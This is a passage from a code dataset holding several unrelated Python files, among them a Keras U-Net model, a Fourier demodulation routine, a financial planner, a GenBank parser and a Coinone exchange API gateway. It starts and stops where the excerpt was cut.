dilation_rate=2) (conv5)\nconv5 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', dilation_rate=4) (conv5)\nconv5 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', dilation_rate=8) (conv5)\n#conv5 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', dilation_rate=16) (conv5)\n#conv5 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', dilation_rate=32) (conv5)\n\nupsample6 = tf.keras.layers.Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same') (conv5)\nupsample6 = tf.keras.layers.concatenate([upsample6, conv4])\nconv6 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (upsample6)\nconv6 = tf.keras.layers.BatchNormalization() (conv6)\nconv6 = tf.keras.layers.Dropout(0.2) (conv6)\nconv6 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv6)\nconv6 = tf.keras.layers.BatchNormalization() (conv6)\n\nupsample7 = tf.keras.layers.Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same') (conv6)\nupsample7 = tf.keras.layers.concatenate([upsample7, conv3])\nconv7 = tf.keras.layers.Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (upsample7)\nconv7 = tf.keras.layers.BatchNormalization() (conv7)\nconv7 = tf.keras.layers.Dropout(0.2) (conv7)\nconv7 = tf.keras.layers.Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv7)\nconv7 = tf.keras.layers.BatchNormalization() (conv7)\n\nupsample8 = tf.keras.layers.Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same') (conv7)\nupsample8 = tf.keras.layers.concatenate([upsample8, conv2])\nconv8 = tf.keras.layers.Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (upsample8)\nconv8 = tf.keras.layers.BatchNormalization() (conv8)\nconv8 = tf.keras.layers.Dropout(0.1) (conv8)\nconv8 = tf.keras.layers.Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv8)\nconv8 = tf.keras.layers.BatchNormalization() (conv8)\n\nupsample9 = tf.keras.layers.Conv2DTranspose(16, (2, 2), strides=(2, 2), padding='same') (conv8)\nupsample9 = tf.keras.layers.concatenate([upsample9, conv1], axis=3)\nconv9 = tf.keras.layers.Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (upsample9)\nconv9 = tf.keras.layers.BatchNormalization() (conv9)\nconv9 = tf.keras.layers.Dropout(0.1) (conv9)\nconv9 = tf.keras.layers.Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv9)\nconv9 = tf.keras.layers.BatchNormalization() (conv9)\n\n#outputs = tf.keras.layers.Conv2D(1, (1, 1), activation='sigmoid') (conv9)\n#logits = tf.keras.layers.Conv2D(1, (1, 1), activation=None) (conv9)\n#outputs = tf.keras.layers.Activation('sigmoid') (logits)\noutputs = tf.keras.layers.Conv2D(1, (1, 1), activation=None) (conv9)\n\nmodel = tf.keras.Model(inputs=[inputs], outputs=[outputs])\n\nmodel.summary()\n\n#metric_MeanIoU = tf.keras.metrics.MeanIoU(num_classes=2)\naccuracy = tf.keras.metrics.BinaryAccuracy(\n name='accuracy', dtype=None, threshold=0.0\n)\ncrossentropy = tf.keras.metrics.BinaryCrossentropy(\n name='crossentropy', dtype=None, from_logits=True, label_smoothing=0\n)\n\n\nmodel.compile(optimizer='adam',\n #loss=soft_dice_loss,\n #loss=lovasz_hinge,\n loss=BCE_and_lovasz_hinge,\n metrics=[f1, accuracy, crossentropy])\n\nmodel_history = model.fit(train_dataset,\n epochs=EPOCHS,\n steps_per_epoch=STEPS_PER_EPOCH,\n validation_steps=VALIDATION_STEPS,\n validation_data=validation_dataset,\n callbacks=[tf.keras.callbacks.TensorBoard()])\n\n# show_predictions(train_dataset, 1)\ntest_dataset = test_list_ds.map(test_process_path).map(resize_test)\n#predictions = model.predict(test_dataset, verbose=1)\npredictions = []\npredictions.append(model.predict(test_dataset.batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_1).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_2).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_3).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_4).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_5).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_6).batch(1), verbose=1))\npredictions.append(model.predict(test_dataset.map(augment_test_time_7).batch(1), verbose=1))\nfilenames = sorted(os.listdir(test_images_path))\nPath(\"predictions\").mkdir(parents=True, exist_ok=True)\n\n#print(tf.shape(predictions))\npredictions = tf.stack(predictions, axis=1)\n#print(tf.shape(predictions))\nfor idx in range (94):\n prediction = tf.stack([predictions[idx][0],\n tf.image.rot90(predictions[idx][1], 3),\n tf.image.rot90(predictions[idx][2], 2),\n tf.image.rot90(predictions[idx][3], 1),\n tf.image.flip_left_right(predictions[idx][4]),\n tf.image.flip_left_right(tf.image.rot90(predictions[idx][5], 3)),\n tf.image.flip_left_right(tf.image.rot90(predictions[idx][6], 2)),\n tf.image.flip_left_right(tf.image.rot90(predictions[idx][7], 1))])\n prediction = tf.math.reduce_mean(tf.math.sigmoid(prediction), axis=0)\n prediction = tf.image.resize(prediction, [608, 608])\n prediction = tf.image.convert_image_dtype(prediction, tf.uint8)\n img_prediction = tf.image.encode_png(prediction)\n number = filenames[idx]\n tf.io.write_file(\"testing/predictions/test_\" + str(number[5:8]) + \".png\", img_prediction)\nsubmit_predictions(filenames)\n","sub_path":"backlog/models/fcn_0.87.py","file_name":"fcn_0.87.py","file_ext":"py","file_size_in_byte":12561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"330242250","text":"f = open('Game1/mouselogs.txt','r')\noutput = open('Game1/mouselogs_parse.txt','w')\n\ncount = 0\nfor line in f:\n line.replace(' ', '')\n newLine = line.strip().split('-')\n \n time = float(newLine[0])\n position = newLine[1]\n button = int(newLine[2])\n color = ''\n \n position = position.split(',')\n pos_x = int(position[0])\n pos_y = int(position[1])\n if button == 513:\n color = \"Red\"\n elif button == 516:\n color = \"Blue\"\n else:\n color = \"Green\"\n \n if count == 0:\n output.write('{\"x\":%.3f, \"y\":-%d, \"z\":-%d, \"fillColor\":\"%s\"}' %(time, pos_y, pos_x, color) )\n else:\n output.write('\\n{\"x\":%.3f, \"y\":-%d, \"z\":-%d, \"fillColor\":\"%s\"}' %(time, pos_y, pos_x, color) )\n count += 1\n \noutput.close()","sub_path":"dataCreation/Homework5 Parsers/parsedMouseData.py","file_name":"parsedMouseData.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"6281402","text":"# -*- coding: utf-8 -*- \n# TIME : 2021/2/3 22:51\n# AUTHOR : luo nan\n# FILE : test_selenium_api.py\n# SOFTWARE : PyCharm\n# FUNCTION :\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.select import Select\n\ndriver = webdriver.Chrome()\n\ndriver.maximize_window()\n\ndriver.get('http://www.baidu.com')\n\nbg = driver.find_element_by_link_text('设置')\nbg.click()\n\n# ActionChains(driver).move_to_element(bg).perform()\n# time.sleep(3)\n# driver.find_element_by_link_text(\"搜索设置\").click()\ntime.sleep(3)\n\nse = driver.find_element_by_id(\"nr\")\n\nSelect(se).select_by_index(2)\n\ntime.sleep(2)\n\ndriver.quit()","sub_path":"testcase/test_selenium_api.py","file_name":"test_selenium_api.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"197195956","text":"import numpy as np\nimport sklearn.naive_bayes as nb\n\ndata = np.genfromtxt('banknote_train.csv',delimiter=',')\npred = np.genfromtxt('banknote_test.csv',delimiter=',')\n\ngauss = nb.GaussianNB()\ntraining = [[x[0],x[1],x[2],x[3]] for x in data]\nlabel = [x[4] for x in data]\n\ntrained_model = gauss.fit(training,label)\nprediction = trained_model.predict(pred)\n\nout = []\nfor i in range(len(pred)):\n out += [[pred[i][0],pred[i][1],pred[i][2],pred[i][3],prediction[i]]]\n\nnp.savetxt('heller_nb.csv',out,fmt='%.4f',delimiter=',')","sub_path":"hw4/nb.py","file_name":"nb.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"158298425","text":"import numpy as np\nimport scipy.signal\nimport matplotlib.pyplot as plt\nimport time, copy\nimport pycis\n\n\ndef fourier_demod_2d(img, despeckle=False, mask=False, uncertainty_out=False, camera=None, nfringes=None,\n notch_take=None, notch_add=None, display=False, width_factor=1., alpha=0.5, bumps=None):\n \"\"\" \n 2D Fourier demodulation of a coherence imaging interferogram image, extracting the DC, phase and contrast.\n \n Option to output uncertainty info too.\n \n :param img: CIS interferogram image to be demodulated.\n :type img: array_like\n \n :param despeckle: Remove speckles from image.\n :type despeckle: bool.\n \n :param mask: End region masking to reduce Fourier artefacts\n :type mask: bool\n \n :param uncertainty_out: output information on the uncertainty in the demodulated quantities\n :type uncertainty_out: bool\n\n :param camera: optional, instance of pycis.model.Camera, used to calculate uncertainty in demodulated quantities\n :type camera: pycis.model.Camera\n\n :param nfringes: Manually set the carrier (fringe) frequency to be demodulated, in units of cycles per sequence --\n approximately the number of fringes present in the image. If no value is given, the fringe frequency is found\n automatically.\n :type nfringes: float.\n\n :param display: Display a plot.\n :type display: bool.\n \n :return: A tuple containing the DC component (intensity), phase and contrast.\n \"\"\"\n\n # TODO cleanup\n start_time = time.time()\n pp_img = np.copy(img)\n\n # pre-processing (pp): remove neutron speckles\n if despeckle:\n pp_img = pycis.analysis.despeckle(pp_img)\n\n # since the input image is real, its FT is Hermitian -- all info contained in +ve frequencies -- use rfft2()\n fft_img = np.fft.rfft2(pp_img, axes=(1, 0))\n\n # estimate carrier (fringe) frequency, if not supplied\n if nfringes is None:\n nfringes = np.unravel_index(fft_img[15:][:].argmax(), fft_img.shape)[0] + 15\n\n # generate window function\n fft_length = fft_img.shape[0]\n window_1d = pycis.analysis.window(fft_length, nfringes, width_factor=width_factor, fn='tukey', alpha=alpha)\n window_carrier = np.transpose(np.tile(window_1d, (fft_img.shape[1], 1)))\n window_dc = 1 - copy.deepcopy(window_carrier)\n\n if bumps is not None:\n wx = np.arange(window_carrier.shape[1])\n wy = np.arange(window_carrier.shape[0])\n wxx, wyy = np.meshgrid(wx, wy)\n for bump in bumps:\n b = 1 - np.exp(-1/2 * (((wxx - bump[1]) / 18) ** 2 + ((wyy - bump[0]) / 10) ** 2))\n window_carrier *= b\n window_dc *= b\n\n if notch_take is not None:\n # cut a vertical notch out in Fourier domain to remove artefacts\n\n notch_window_width = 9\n pre_zeros = [0] * int(notch_take - notch_window_width / 2)\n mid_zeros = [0] * (img.shape[1] - 2 * notch_window_width - 2 * len(pre_zeros))\n notch_take = scipy.signal.tukey(notch_window_width, alpha=0.8)\n\n notch_window = np.concatenate([pre_zeros, notch_take, mid_zeros, notch_take, pre_zeros])\n\n window_carrier *= (1 - notch_window)\n\n if notch_add is not None:\n # cut a vertical notch out in Fourier domain to remove artefacts\n\n notch_window_width = 6\n pre_zeros = [0] * int(notch_add - notch_window_width / 2)\n mid_zeros = [0] * (img.shape[1] - 2 * notch_window_width - 2 * len(pre_zeros))\n notch_add = scipy.signal.tukey(notch_window_width, alpha=0.8)\n\n notch_window = np.concatenate([pre_zeros, notch_add, mid_zeros, notch_add, pre_zeros])\n\n notch_window = np.tile(notch_window, reps=[window_carrier.shape[0], 1])\n\n window_carrier += notch_window\n window_carrier[window_carrier > 1] = 1\n\n window_1d_na = pycis.analysis.window(fft_length, nfringes, width_factor=2.3, fn='tukey', alpha=0.3)\n window_2d_na = np.transpose(np.tile(window_1d_na, (fft_img.shape[1], 1)))\n window_carrier *= window_2d_na\n\n if mask:\n # end region masking\n pp_img_erm_dc = pycis.analysis.end_region_mask(pp_img, alpha=0.15, mean_subtract=True)\n pp_img_erm_phase = pycis.analysis.end_region_mask(pp_img, alpha=(3 / nfringes), mean_subtract=True)\n\n fft_img_erm_dc = np.fft.rfft2(pp_img_erm_dc, axes=(1, 0))\n fft_img_erm_phase = np.fft.rfft2(pp_img_erm_phase, axes=(1, 0))\n\n # isolate DC\n fft_dc = fft_img_erm_dc * (1 - window_carrier)\n dc = np.fft.irfft2(fft_dc, axes=(1, 0))\n\n # isolate carrier\n fft_carrier_phase = fft_img_erm_phase * window_carrier\n fft_carrier_contrast = fft_img * window_carrier\n\n fft_carrier = fft_carrier_phase # for the plotting, change\n\n carrier_phase = np.fft.irfft2(fft_carrier_phase, axes=(1, 0))\n carrier_contrast = np.fft.irfft2(fft_carrier_contrast, axes=(1, 0))\n\n # Hilbert transform to extract phase and contrast from carrier\n analytic_signal_phase = scipy.signal.hilbert(carrier_phase, axis=-2)\n analytic_signal_contrast = scipy.signal.hilbert(carrier_contrast, axis=-2)\n\n phase = np.angle(analytic_signal_phase)\n contrast = np.abs(analytic_signal_contrast) / dc\n\n else:\n # isolate DC\n fft_dc = fft_img * window_dc\n dc = np.fft.irfft2(fft_dc, axes=(1, 0))\n\n # isolate carrier\n fft_carrier = fft_img * window_carrier\n carrier = np.fft.irfft2(fft_carrier, axes=(1, 0))\n\n # Hilbert transform to extract phase and contrast from carrier\n analytic_signal = scipy.signal.hilbert(carrier, axis=-2)\n phase = np.angle(analytic_signal)\n contrast = np.abs(analytic_signal) / dc\n\n # uncertainty calculation\n if uncertainty_out:\n\n if camera is None:\n # estimate the image noise using Fourier domain image\n\n padding_x = 200\n padding_y = 100\n\n # generate window for extraction of the 'empty' part of the image\n window_empty = np.zeros_like(fft_img, dtype=np.float64)\n window_empty[padding_y:, padding_x:-padding_x] = 1\n\n fft_img_empty = fft_img[np.where(window_empty == 1)]\n\n imag = np.imag(fft_img_empty).flatten()\n real = np.real(fft_img_empty).flatten()\n\n var_imag = np.var(imag)\n var_real = np.var(real)\n var_avg = (var_real + var_imag) / 2\n\n # predict image sigma\n var_img = (2 * var_avg) / (img.shape[0] * img.shape[1])\n std = np.ones_like(img) * np.sqrt(var_img)\n\n else:\n # estimate standard deviation of the noise\n std = (1 / camera.epercount) * np.sqrt(camera.cam_noise ** 2 + camera.epercount * img) # checked and correct\n\n area = window_carrier.shape[0] * window_carrier.shape[1]\n carrier_noise_coeff = np.sqrt(np.power(window_carrier, 2).sum() / area)\n dc_noise_coeff = np.sqrt(np.power(window_dc, 2).sum() / area)\n std_carrier = std * carrier_noise_coeff\n\n std_dc = std * dc_noise_coeff\n std_contrast = abs(contrast) * np.sqrt((std_dc / dc) ** 2 + (std_carrier / (contrast * dc)) ** 2)\n std_phase = std_carrier / (contrast * dc)\n\n # estimate covariance matrix for phase\n cov_phase_pixel_vert = np.fft.irfft2(abs(window_carrier) ** 2, axes=(1, 0))[:, 0]\n cov_phase = np.zeros([img.shape[0], img.shape[0]])\n\n # assemble into covariance matrix -- ugly\n for idx in range(len(cov_phase_pixel_vert)):\n if idx != 0:\n cov_phase_pixel_vert = np.roll(cov_phase_pixel_vert, 1)\n\n cov_phase[:, idx] = cov_phase_pixel_vert\n\n corr_phase = cov_phase / np.max(cov_phase) # Pearson correlation coefficient matrix for image column\n\n uncertainty = {'std_dc': std_dc,\n 'std_phase': std_phase,\n 'std_contrast': std_contrast,\n 'snr': dc / std,\n 'corr_phase': corr_phase,\n } # only really appropriate for calibration images\n\n if display:\n print('-- fourier_demod_2d: nfringes = {}'.format(nfringes))\n print('-- fourier_demod_2d: time elapsed: {:.2f}s'.format(time.time() - start_time))\n\n fig1 = plt.figure(figsize=(10, 6), facecolor='white')\n\n ax11 = fig1.add_subplot(2, 3, 1)\n im11 = ax11.imshow(np.log10(abs(fft_img) ** 2))\n cbar11 = fig1.colorbar(im11, ax=ax11)\n ax11.set_title('FFT img')\n \n ax12 = fig1.add_subplot(2, 3, 2)\n im12 = ax12.imshow(np.log10(abs(fft_carrier) ** 2))\n cbar12 = plt.colorbar(im12, ax=ax12)\n ax12.set_title('FFT carrier')\n \n ax13 = fig1.add_subplot(2, 3, 3)\n im13 = ax13.imshow(np.log10(abs(fft_dc) ** 2))\n cbar13 = plt.colorbar(im13, ax=ax13)\n ax13.set_title('FFT DC')\n\n ax14 = fig1.add_subplot(2, 3, 4)\n ax14.semilogy(window_1d)\n plt.title('window 1D')\n\n ax15 = fig1.add_subplot(2, 3, 5)\n im15 = ax15.imshow(window_carrier, cmap='gray')\n cbar15 = fig1.colorbar(im15, ax=ax15)\n ax15.set_title('window 2D')\n\n plt.tight_layout()\n\n pycis.analysis.display(img, dc, phase, contrast)\n\n if uncertainty_out:\n\n fig3 = plt.figure(figsize=(10, 6), facecolor='white')\n ax31 = fig3.add_subplot(1, 2, 1)\n im31 = ax31.imshow(std_phase)\n cbar31 = fig3.colorbar(im31, ax=ax31)\n ax31.set_title('phase noise')\n\n ax32 = fig3.add_subplot(1, 2, 2)\n im32 = ax32.imshow(np.log10(std_contrast), vmax=np.log10(10))\n cbar32 = fig3.colorbar(im32, ax=ax32)\n ax32.set_title('contrast noise')\n\n plt.show()\n\n if uncertainty_out:\n return dc, phase, contrast, uncertainty\n else:\n return dc, phase, contrast\n\n\n\n\n","sub_path":"pycis/old/fourier_demod_2d.py","file_name":"fourier_demod_2d.py","file_ext":"py","file_size_in_byte":9880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"343141492","text":"#UseItemOnOtherPlayersRequest - NCSorcerer\n\nfrom kol.request.GenericRequest import GenericRequest\r\n\r\nclass UseItemOnOtherPlayersRequest(GenericRequest):\r\n\t# This is used to send items/effects to players that include bricks, candy hearts, foam darts, etc.\n\t# Use text where applicable!\r\n\tdef __init__(self, session, targetPlayer, item_id, text):\r\n\t\tsuper(UseItemOnOtherPlayersRequest, self).__init__(session)\n\t\tself.url = session.serverURL + \"curse.php\"\n\t\tself.requestData[\"whichitem\"] = str(item_id)\n\t\tself.requestData[\"action\"] = \"use\"\n\t\tself.requestData[\"pwd\"] = session.pwd\n\t\tself.requestData[\"targetplayer\"] = str(targetPlayer)\n\t\t\n\t\tif text != \"\":\n\t\t\tself.requestData[\"message\"] = text","sub_path":"src/kol/request/UseItemOnOtherPlayersRequest.py","file_name":"UseItemOnOtherPlayersRequest.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"584589462","text":"#FinancialPlannerCalculator\r\nimport csv\r\n\r\nclass User:\r\n\r\n list=[['Age','Salary','Expense','OneTimeExpense','Savings','Networth']]\r\n networth_at_key_stages={}\r\n\r\n def __init__(self, current_age,retirement_age, current_salary,salary_increment_percent,current_expense,\r\n expenece_increment_percent,current_networth,ROI,age_and_one_time_expence,life_expectancy=80):\r\n self.age=current_age\r\n self.retire_age=retirement_age\r\n self.salary=int(current_salary)\r\n self.salary_increment=salary_increment_percent\r\n self.expense=int(current_expense)\r\n self.expense_increment=expenece_increment_percent\r\n self.savings = self.salary - self.expense\r\n self.OTE=age_and_one_time_expence\r\n self.LE=life_expectancy\r\n self.networth = current_networth + self.savings\r\n self.ROI=ROI\r\n User.list.append([self.age,self.salary,self.expense,0,self.savings,self.networth])\r\n\r\n def end_worth(self):\r\n for _ in range(self.LE-self.age):\r\n self.age+=1\r\n if self.age<=self.retire_age:\r\n self.salary=int(self.salary*(1+self.salary_increment/100))\r\n else:\r\n self.salary=0\r\n self.expense=int(self.expense*(1+self.expense_increment/100))\r\n if self.age in self.OTE.keys():\r\n extra_expense=self.OTE[self.age]\r\n else:\r\n extra_expense=0\r\n self.savings = self.salary - self.expense - extra_expense\r\n if self.networth>0:\r\n self.networth=int(self.networth*(1+self.ROI/100))+self.savings\r\n else:\r\n self.networth=self.networth+self.savings\r\n dynamic_list=[self.age,self.salary,self.expense,extra_expense,self.savings,self.networth]\r\n\r\n User.list.append(dynamic_list) #Saves summery of each year in a list\r\n if self.age in self.OTE.keys():\r\n User.networth_at_key_stages[self.age]=self.networth\r\n elif self.age==self.retire_age:\r\n User.networth_at_key_stages[self.age]=self.networth\r\n elif self.age==self.LE:\r\n User.networth_at_key_stages[self.age] = self.networth\r\n return self.networth\r\n\r\n def csv_writer(self): # Writes summery of User's finance year by year\r\n with open('UserFinancialHealth1.csv','w',newline='') as file:\r\n writer=csv.writer(file)\r\n for i in User.list:\r\n writer.writerow(i)\r\n\r\n def msg(self):\r\n if self.end_worth()>=0:\r\n print('Your financial health is good. Your EndWorth is: ',self.end_worth())\r\n else:\r\n print('You financial health is at risk. Your EndWorth is: ',self.end_worth())\r\n\r\n#User Inputs\r\nCurrentAge_input=35\r\nCurrentSalary_input=1000000\r\nSalaryIncrement_input=2.5\r\nCurrentExpense_input=500000\r\nExpenseIncrement_input=5\r\nCurrentNetwoth_input=2000000\r\nOneTimeExpenceWithAge_input={42:5000000,43:5000000,50:10000000}\r\nLifeExpectancy_input=80\r\n\r\nRetirementAge_input=50 #Variable Inputs\r\nExpenseChangepPerecent_input=-30\r\nROI_input=8\r\nCurrentExpense=CurrentExpense_input*(1+ExpenseChangepPerecent_input/100)\r\n\r\n#User Attributes\r\nuser=User(CurrentAge_input,RetirementAge_input,CurrentSalary_input,SalaryIncrement_input,CurrentExpense,\r\n ExpenseIncrement_input,CurrentNetwoth_input,ROI_input,OneTimeExpenceWithAge_input,LifeExpectancy_input)\r\n\r\nuser.msg()\r\nuser.csv_writer()\r\n\r\nprint(User.networth_at_key_stages)\r\nif user.end_worth()<0:\r\n #Optimized Retire Age\r\n retire_age=RetirementAge_input\r\n user_RA=user\r\n while user_RA.end_worth()<0 and retire_age<80:\r\n retire_age+=1\r\n user_RA = User(CurrentAge_input, retire_age, CurrentSalary_input, SalaryIncrement_input, CurrentExpense,\r\n ExpenseIncrement_input, CurrentNetwoth_input, ROI_input, OneTimeExpenceWithAge_input,LifeExpectancy_input)\r\n if user_RA.end_worth()<0:\r\n print('Extending retirement age only can not secure positive endworth. Try cutting expenses or incresing ROI')\r\n else:\r\n print('\\nYou should either take retirement at',retire_age,'and keep everything else unchanged')\r\n\r\n #Optimized Expense Cut\r\n expense_cut=0\r\n user_EC=user\r\n while user_EC.end_worth()<0 and expense_cut<=80*CurrentExpense/100:\r\n OptimumExpense = CurrentExpense-expense_cut\r\n expense_cut+=100\r\n user_EC = User(CurrentAge_input, RetirementAge_input, CurrentSalary_input, SalaryIncrement_input, OptimumExpense,\r\n ExpenseIncrement_input, CurrentNetwoth_input, ROI_input, OneTimeExpenceWithAge_input,LifeExpectancy_input)\r\n if user_EC.end_worth()<0:\r\n print('Cutting expenses only even by 80 percent cant secure positive endworth. Try to increase retirement age and ROI')\r\n else:\r\n print('OR You should cut your expenses by',int(CurrentExpense-OptimumExpense),'Rs and keep everything else unchanged OR')\r\n\r\n #Optimized ROI\r\n ROI=ROI_input\r\n user_ROI=user\r\n while user_ROI.end_worth()<0 and ROI<=25:\r\n ROI+=0.05\r\n user_ROI = User(CurrentAge_input, RetirementAge_input, CurrentSalary_input, SalaryIncrement_input, CurrentExpense,\r\n ExpenseIncrement_input, CurrentNetwoth_input, ROI, OneTimeExpenceWithAge_input,LifeExpectancy_input)\r\n if user_EC.end_worth() < 0:\r\n print('Increasing ROI to even 25 percent can not secure positive endworth.')\r\n else:\r\n print('OR You should increase your ROI to', round(ROI,3),'percent and keep everything else unchanged')\r\n","sub_path":"UserFinancialHealth1.py","file_name":"UserFinancialHealth1.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"53865115","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 20 10:35:05 2017\n\n@author: Stage\n\"\"\"\n\nfrom Bio import GenBank\n\nclass gen_bank_parsing_file(object):\n \n def __init__(self, gene_bank_file):\n self.gene_bank_file = gene_bank_file\n self.whole_gen = None\n self.GI = None\n self.Acc = None\n \n def parse_genebank_file(self):\n with open(self.gene_bank_file, \"rU\") as input_handle:\n for record in GenBank.parse(input_handle):\n #print(\"Name: %s, %i\" % (record.name, len(record.features)))\n print(record.features)\n print(record.accession)\n print(\"----\")\n print(record.gi)\n print(\"----\")\n self.Acc = record.accession[0]\n \n if self.GI is None or len(self.GI) == 0:\n self.GI = \"NA\"\n if self.Acc is None or len(self.Acc) == 0:\n self.Acc = \"NA\"","sub_path":"files_treatment/genBank_file.py","file_name":"genBank_file.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"350876801","text":"from sys import stdin\n# stdin = open('input.txt', 'r')\ninput = stdin.readline\n\nN, K = map(int, input().split())\nM = [None]*N\nfor i in range(N-1, -1, -1): M[i] = int(input())\nans = 0\nfor m in M:\n ans += K // m\n K %= m\nprint(ans)","sub_path":"BOJ/202001/11047.py","file_name":"11047.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"450725900","text":"from befh.restful_api_socket import RESTfulApiSocket\nfrom befh.exchanges.gateway import ExchangeGateway\nfrom befh.market_data import L2Depth, Trade\nfrom befh.util import Logger\nfrom befh.instrument import Instrument\nfrom befh.clients.sql_template import SqlClientTemplate\nfrom functools import partial\nfrom datetime import datetime\nimport threading\nimport time\n\n\nclass ExchGwApiCoineOne(RESTfulApiSocket):\n \"\"\"\n Exchange gateway RESTfulApi\n \"\"\"\n def __init__(self):\n RESTfulApiSocket.__init__(self)\n\n @classmethod\n def get_timestamp_offset(cls):\n return 1000\n\n @classmethod\n def get_order_book_timestamp_field_name(cls):\n return 'date'\n\n @classmethod\n def get_trades_timestamp_field_name(cls):\n return 'timestamp'\n\n @classmethod\n def get_bids_field_name(cls):\n return 'bid'\n\n @classmethod\n def get_asks_field_name(cls):\n return 'ask'\n\n @classmethod\n def get_trade_side_field_name(cls):\n return 'side'\n\n @classmethod\n def get_trade_id_field_name(cls):\n return 'timestamp'\n\n @classmethod\n def get_trade_price_field_name(cls):\n return 'price'\n\n @classmethod\n def get_trade_volume_field_name(cls):\n return 'qty'\n\n @classmethod\n def get_order_book_link(cls, instmt):\n return 'https://api.coinone.co.kr/orderbook?currency={}'.format(instmt.instmt_code)\n\n @classmethod\n def get_trades_link(cls, instmt):\n return 'https://api.coinone.co.kr/trades?currency={}&period=hour'.format(instmt.instmt_code)\n\n @classmethod\n def parse_l2_depth(cls, instmt, raw):\n \"\"\"\n Parse raw data to L2 depth\n :param instmt: Instrument\n :param raw: Raw data in JSON\n \"\"\"\n l2_depth = L2Depth()\n keys = list(raw.keys())\n if cls.get_bids_field_name() in keys and \\\n cls.get_asks_field_name() in keys:\n\n # No Date time information, has update id only\n l2_depth.date_time = datetime.now().strftime(\"%Y%m%d %H:%M:%S.%f\")\n\n # Bids\n bids = raw[cls.get_bids_field_name()]\n bids = sorted(bids, key=lambda x: x['price'], reverse=True)\n for i in range(0, 5):\n l2_depth.bids[i].price = float(bids[i]['price']) if type(bids[i]['price']) != float else bids[i]['price']\n l2_depth.bids[i].volume = float(bids[i]['qty']) if type(bids[i]['qty']) != float else bids[i]['qty']\n\n # Asks\n asks = raw[cls.get_asks_field_name()]\n asks = sorted(asks, key=lambda x: x['price'])\n for i in range(0, 5):\n l2_depth.asks[i].price = float(asks[i]['price']) if type(asks[i]['price']) != float else asks[i]['price']\n l2_depth.asks[i].volume = float(asks[i]['qty']) if type(asks[i]['qty']) != float else asks[i]['qty']\n else:\n raise Exception('Does not contain order book keys in instmt %s-%s.\\nOriginal:\\n%s' % \\\n (instmt.get_exchange_name(), instmt.get_instmt_name(), \\\n raw))\n\n return l2_depth\n\n @classmethod\n def parse_trade(cls, instmt, raw):\n \"\"\"\n :param instmt: Instrument\n :param raw: Raw data in JSON\n :return:\n \"\"\"\n trade = Trade()\n keys = list(raw.keys())\n\n if cls.get_trades_timestamp_field_name() in keys and \\\n cls.get_trade_id_field_name() in keys and \\\n cls.get_trade_price_field_name() in keys and \\\n cls.get_trade_volume_field_name() in keys:\n\n # Date time\n date_time = float(raw[cls.get_trades_timestamp_field_name()])\n #trade.date_time = datetime.strptime(date_time, '%Y-%m-%dT%H:%M:%S.%f')\n trade.date_time = datetime.utcfromtimestamp(date_time).strftime(\"%Y%m%d %H:%M:%S.%f\")\n # Trade side\n trade.trade_side = 1\n # Trade id\n trade.trade_id = str(raw[cls.get_trade_id_field_name()])\n\n # Trade price\n trade.trade_price = float(str(raw[cls.get_trade_price_field_name()]))\n\n # Trade volume\n trade.trade_volume = float(str(raw[cls.get_trade_volume_field_name()]))\n else:\n raise Exception('Does not contain trade keys in instmt %s-%s.\\nOriginal:\\n%s' % \\\n (instmt.get_exchange_name(), instmt.get_instmt_name(), \\\n raw))\n\n return trade\n\n @classmethod\n def get_order_book(cls, instmt):\n \"\"\"\n Get order book\n :param instmt: Instrument\n :return: Object L2Depth\n \"\"\"\n # If verify cert, got \n res = cls.request(cls.get_order_book_link(instmt), verify_cert=False)\n if len(res) > 0:\n return cls.parse_l2_depth(instmt=instmt,\n raw=res)\n else:\n return None\n\n @classmethod\n def get_trades(cls, 